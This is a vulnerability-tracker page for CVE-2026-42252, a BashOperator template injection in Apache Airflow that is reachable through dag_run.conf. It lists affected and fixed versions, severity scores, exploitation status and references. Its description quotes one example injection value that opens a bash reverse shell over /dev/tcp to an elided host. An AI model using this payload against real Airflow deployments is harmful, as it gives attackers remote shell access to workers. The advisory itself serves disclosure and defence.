Home / Apache Software Foundation / Apache Airflow / CVE-2026-42252
CVE-2026-42252: is it exploited, and which versions of Apache Software Foundation Apache Airflow are affected and fixed?
CVE-2026-42252 is a template injection vulnerability in Apache Software Foundation Apache Airflow. It is not known to be exploited: it is not in CISA's Known Exploited Vulnerabilities catalog (catalog 2026.11.30, read December 3, 2026, 15:39 UTC). Affected: apache-airflow from 3.0.0 before 3.2.2 (GitHub advisory GHSA-c85c-g9wv-pph2). Fixed in 3.2.2 (GitHub advisory GHSA-c85c-g9wv-pph2). Severity: Critical (9.1, CVSS 3.1, from CISA-ADP).
Data checked December 3, 2026: last read CISA KEV December 3, 2026, 15:39 UTC, CVE record November 19, 2026, 07:07 UTC and NVD November 19, 2026, 07:10 UTC.
What is CVE-2026-42252?
Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern
Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.
From the CVE record by apache, last updated November 3, 2026, 06:56 UTC.
Which versions are affected, and which fix it?
| Vendor | Product | Affected | Fixed or not affected from |
|---|---|---|---|
| Apache Software Foundation | Apache Airflow apache-airflow-core | from 3.0.0 before 3.2.2 | 3.2.2 |
As the CVE record by apache states it, last updated November 3, 2026. Version ranges are the CNA's; a version the record calls not affected is usually the fix.
Which packages are affected, and in which version is each fixed?
| Ecosystem | Package | Affected | Fixed in | Advisory |
|---|---|---|---|---|
| PyPI | apache-airflow | >= 3.0.0, < 3.2.2 | 3.2.2 | GHSA-c85c-g9wv-pph2 |
GitHub Advisory Database, reviewed advisories (CC BY 4.0); advisory updated July 9, 2026. Summary: Apache Airflow vulnerable to Improper Neutralization of Special Elements Used in a Template Engine.
Which products and versions does the NVD list as affected?
| Vendor | Product | Versions | Type |
|---|---|---|---|
| apache | airflow | from 3.0.0 before 3.2.2 | application |
NVD analysis (status Analyzed), last modified November 3, 2026, 07:20 UTC.
How severe is CVE-2026-42252?
| Score | Version | Vector | Source |
|---|---|---|---|
| Critical 9.1 | CVSS 3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N | CISA-ADP |
Each score is shown as its source gave it: the CNA that wrote the record, CISA's ADP (vulnrichment) and the NVD. They can differ.
What the ratings mean: in CVSS 3 and 4, scores run from 0 to 10, with Low 0.1 to 3.9, Medium 4.0 to 6.9, High 7.0 to 8.9 and Critical 9.0 to 10.0. CVSS 2 has no Critical band: its High runs from 7.0 to 10.0. The vector lists how the flaw is reached (network, local), what an attacker needs (privileges, a user's click) and what it can harm.
Is CVE-2026-42252 exploited in the wild?
- CISA KEV
- Not listed (catalog 2026.11.30)
- CISA SSVC
- Exploitation: none; automatable: yes; technical impact: total (CISA ADP, June 2, 2026)
- EPSS
- 0.38% probability of exploitation activity in the next 30 days, percentile 34.5 (FIRST EPSS, scores of December 3, 2026)
What kind of flaw is it?
- CWE-1336 Improper Neutralization of Special Elements Used in a Template Engine
Where are the vendor advisories and references?
- https://github.com/apache/airflow/pull/64129 patch
- https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7 vendor-advisory
Who found and reported it?
- anonymous (finder)
- Kevin Yang (sjyangkevin) (remediation developer)
As published in the CVE record; contact details are removed.
When was it published, and where is the official record?
- Reserved
- April 25, 2026
- Published
- June 1, 2026, 07:51 UTC
- CVE record updated
- November 3, 2026, 06:56 UTC by apache
- NVD
- Analyzed, last modified November 3, 2026, 07:20 UTC
- Last checked
- CVE list November 19, 2026, 07:07 UTC; NVD November 19, 2026, 07:10 UTC; KEV December 3, 2026, 15:39 UTC; EPSS December 3, 2026
- Official record
- cve.org · NVD
What other CVEs affect Apache Airflow?
- Jul 16, 2020CVE-2020-11978 Apache Software Foundation Apache Airflow: OS command injection exploited
- Nov 30, 2026CVE-2026-120351 Apache Software Foundation Apache Airflow: incorrect authorization
- Nov 9, 2026CVE-2026-40913 Apache Software Foundation Apache Airflow: improper authorization
- Nov 9, 2026CVE-2026-50204 Apache Software Foundation Apache Airflow: sensitive data stored in clear text
- Nov 9, 2026CVE-2026-68982 Apache Software Foundation Apache Airflow: missing authentication for a critical function
- Nov 9, 2026CVE-2026-86829 Apache Software Foundation Apache Airflow: deserialization of untrusted data
- Nov 9, 2026CVE-2026-82337 Apache Software Foundation Apache Airflow: deserialization of untrusted data
- Nov 9, 2026CVE-2026-86468 Apache Software Foundation Apache Airflow: sensitive information written to log files
Questions about CVE-2026-42252
Is CVE-2026-42252 exploited in the wild?
Not as far as CISA knows: it is not in the Known Exploited Vulnerabilities catalog, read December 3, 2026, 15:39 UTC. FIRST's EPSS gives it a 0.38% chance of exploitation activity in the next 30 days (scores of December 3, 2026).
Which versions of Apache Software Foundation Apache Airflow are affected by CVE-2026-42252?
apache-airflow from 3.0.0 before 3.2.2, per the GitHub advisory GHSA-c85c-g9wv-pph2. The tables above give every range the sources list.
Which version fixes CVE-2026-42252?
3.2.2, per the GitHub advisory GHSA-c85c-g9wv-pph2. Check the vendor's advisory before you rely on it.
How severe is CVE-2026-42252?
Critical (9.1, CVSS 3.1, from CISA-ADP). The severity table above shows each score with its source.
Where is the official record of CVE-2026-42252?
The CVE Program's record is at cve.org and the NVD's at nvd.nist.gov. For a fix, the vendor's own advisory is the one to follow.